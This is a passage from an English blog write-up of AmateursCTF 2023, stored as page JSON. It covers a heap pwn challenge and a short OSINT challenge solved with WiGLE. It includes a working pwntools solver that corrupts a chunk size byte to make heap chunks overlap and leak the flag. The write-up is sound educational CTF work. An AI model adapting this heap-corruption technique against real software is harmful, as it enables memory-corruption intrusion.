gets freed immediately, and part of the flag is overwritten by the chunk header, so the challenge is to somehow read the contents of the flag-containing chunk before it is freed.</p>\n<p>While looking through the decompilation, I noticed that the chunk where the flag is written is adjacent to a chunk that I can control, and that it is also reused from the cache again and again.</p>\n<p>So by changing the size of the controllable chunk and making it overlap with the chunk where the flag gets written, I was able to read the contents of the flag chunk from the data of another chunk.</p>\n<div class=\"gatsby-highlight\" data-language=\"python\"><pre class=\"language-python\"><code class=\"language-python\"><span class=\"token keyword\">from</span> pwn <span class=\"token keyword\">import</span> <span class=\"token operator\">*</span>\n<span class=\"token keyword\">def</span> <span class=\"token function\">start</span><span class=\"token punctuation\">(</span>argv<span class=\"token operator\">=</span><span class=\"token punctuation\">[</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">*</span>a<span class=\"token punctuation\">,</span> <span class=\"token operator\">**</span>kw<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    <span class=\"token keyword\">if</span> args<span class=\"token punctuation\">.</span>GDB<span class=\"token punctuation\">:</span>  <span class=\"token comment\"># Set GDBscript below</span>\n        <span class=\"token keyword\">return</span> gdb<span class=\"token punctuation\">.</span>debug<span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span>exe<span class=\"token punctuation\">]</span> <span class=\"token operator\">+</span> argv<span class=\"token punctuation\">,</span> gdbscript<span class=\"token operator\">=</span>gdbscript<span class=\"token punctuation\">,</span> <span class=\"token operator\">*</span>a<span class=\"token punctuation\">,</span> <span class=\"token operator\">**</span>kw<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">elif</span> args<span class=\"token punctuation\">.</span>REMOTE<span class=\"token punctuation\">:</span>  <span class=\"token comment\"># ('server', 'port')</span>\n        <span class=\"token keyword\">return</span> remote<span class=\"token punctuation\">(</span>sys<span class=\"token punctuation\">.</span>argv<span class=\"token punctuation\">[</span><span class=\"token number\">1</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> sys<span class=\"token punctuation\">.</span>argv<span class=\"token punctuation\">[</span><span class=\"token number\">2</span><span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span> <span class=\"token operator\">*</span>a<span class=\"token punctuation\">,</span> <span class=\"token operator\">**</span>kw<span class=\"token punctuation\">)</span>\n    <span class=\"token keyword\">else</span><span class=\"token punctuation\">:</span>  <span class=\"token comment\"># Run locally</span>\n        <span class=\"token keyword\">return</span> process<span class=\"token punctuation\">(</span><span class=\"token punctuation\">[</span>exe<span class=\"token punctuation\">]</span> <span class=\"token operator\">+</span> argv<span class=\"token punctuation\">,</span> <span class=\"token operator\">*</span>a<span class=\"token punctuation\">,</span> <span class=\"token operator\">**</span>kw<span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># Specify your GDB script here for debugging</span>\n\ngdbscript <span class=\"token operator\">=</span> <span class=\"token triple-quoted-string string\">'''\nb *(main+275)\ncontinue\n'''</span><span class=\"token punctuation\">.</span><span class=\"token builtin\">format</span><span class=\"token punctuation\">(</span><span class=\"token operator\">**</span><span class=\"token builtin\">locals</span><span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span><span class=\"token punctuation\">)</span>\n\nexe <span class=\"token operator\">=</span> <span class=\"token string\">\"./chal_simple_heap_v1\"</span>\nelf <span class=\"token operator\">=</span> context<span class=\"token punctuation\">.</span>binary <span class=\"token operator\">=</span> ELF<span class=\"token punctuation\">(</span>exe<span class=\"token punctuation\">,</span> checksec<span class=\"token operator\">=</span><span class=\"token boolean\">False</span><span class=\"token punctuation\">)</span>\ncontext<span class=\"token punctuation\">.</span>log_level <span class=\"token operator\">=</span> <span class=\"token string\">'debug'</span>\ncontext<span class=\"token punctuation\">.</span>arch<span class=\"token operator\">=</span><span class=\"token string\">\"amd64\"</span>\n\n<span class=\"token keyword\">def</span> <span class=\"token function\">malloc</span><span class=\"token punctuation\">(</span>io<span class=\"token punctuation\">,</span>size<span class=\"token punctuation\">,</span>data<span class=\"token punctuation\">)</span><span class=\"token punctuation\">:</span>\n    io<span class=\"token punctuation\">.</span>sendlineafter<span class=\"token punctuation\">(</span><span class=\"token string\">b\"size\"</span><span class=\"token punctuation\">,</span>size<span class=\"token punctuation\">)</span>\n    io<span class=\"token punctuation\">.</span>sendlineafter<span class=\"token punctuation\">(</span><span class=\"token string\">b\"data\"</span><span class=\"token punctuation\">,</span>data<span class=\"token punctuation\">)</span>\n\nio <span class=\"token operator\">=</span> start<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span>\n\n<span class=\"token comment\"># malloc(io,b\"128\",b\"a\"*128)</span>\n<span class=\"token comment\"># malloc(io,b\"128\",b\"a\"*128)</span>\n\nmalloc<span class=\"token punctuation\">(</span>io<span class=\"token punctuation\">,</span><span class=\"token string\">b\"10\"</span><span class=\"token punctuation\">,</span><span class=\"token string\">b\"a\"</span><span class=\"token operator\">*</span><span class=\"token number\">10</span><span class=\"token punctuation\">)</span>\nmalloc<span class=\"token punctuation\">(</span>io<span class=\"token punctuation\">,</span><span class=\"token string\">b\"10\"</span><span class=\"token punctuation\">,</span><span class=\"token string\">b\"a\"</span><span class=\"token operator\">*</span><span class=\"token number\">10</span><span class=\"token punctuation\">)</span>\n\nio<span class=\"token punctuation\">.</span>sendlineafter<span class=\"token punctuation\">(</span><span class=\"token string\">b\"index\"</span><span class=\"token punctuation\">,</span><span class=\"token string\">b\"-8\"</span><span class=\"token punctuation\">)</span>\nio<span class=\"token punctuation\">.</span>sendlineafter<span class=\"token punctuation\">(</span><span class=\"token string\">b\"new character: \"</span><span class=\"token punctuation\">,</span><span class=\"token string\">b\"\\xF0\"</span><span class=\"token punctuation\">)</span>\n\nmalloc<span class=\"token punctuation\">(</span>io<span class=\"token punctuation\">,</span><span class=\"token string\">b\"230\"</span><span class=\"token punctuation\">,</span><span class=\"token string\">b\"a\"</span><span class=\"token operator\">*</span><span class=\"token number\">230</span><span class=\"token punctuation\">)</span>\n\nio<span class=\"token punctuation\">.</span>interactive<span class=\"token punctuation\">(</span><span class=\"token punctuation\">)</span></code></pre></div>\n<p>The solver above recovers the flag.</p>\n<h2 id=\"screenshotguesserosint\" style=\"position:relative;\"><a href=\"#screenshotguesserosint\" aria-label=\"screenshotguesserosint permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>ScreenshotGuesser(OSINT)</h2>\n<p>A challenge where you identify coordinates from an SSID name.</p>\n<p>One of our team members solved this one.</p>\n<p>Apparently there is a service called <a href=\"https://wigle.net/\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">WiGLE: Wireless Network Mapping</a> that lets you search for SSIDs.</p>\n<p>Reference: <a href=\"https://rikoteki.hatenablog.com/entry/2023/07/20/210211?_gl=1*52exuv*_gcl_au*MTA2MDA4NTEzNS4xNjg4Njg4MTQy&#x26;_ga=2.51536108.436334491.1689815814-1202747649.1688688141\" target=\"_blank\" rel=\"nofollow noopener noreferrer\">Amateurs CTF 2023 Writeup - rikoteki’s blog</a></p>\n<h2 id=\"conclusion\" style=\"position:relative;\"><a href=\"#conclusion\" aria-label=\"conclusion permalink\" class=\"anchor before\"><svg aria-hidden=\"true\" focusable=\"false\" height=\"16\" version=\"1.1\" viewBox=\"0 0 16 16\" width=\"16\"><path fill-rule=\"evenodd\" d=\"M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z\"></path></svg></a>Conclusion</h2>\n<p>I completely burned through the three-day weekend and spent five full days immersed in CTF.</p>\n<p>It was fun.</p>","fields":{"slug":"/ctf-amature-2023-en","tagSlugs":["/tag/ctf-en/","/tag/rev-en/","/tag/pwn-en/","/tag/osint-en/","/tag/forensic-en/","/tag/english/"]},"frontmatter":{"date":"2023-07-21","description":"This is a writeup for AmateursCTF 2023.","tags":["CTF (en)","Rev (en)","Pwn (en)","OSINT (en)","Forensic (en)","English"],"title":"AmateursCTF 2023 Writeup","socialImage":{"publicURL":"/static/a13f3238ad022e66e892ba74fce3ccb3/ctf-amature-2023.png"}}}},"pageContext":{"slug":"/ctf-amature-2023-en"}},"staticQueryHashes":["251939775","401334301","825871152"]}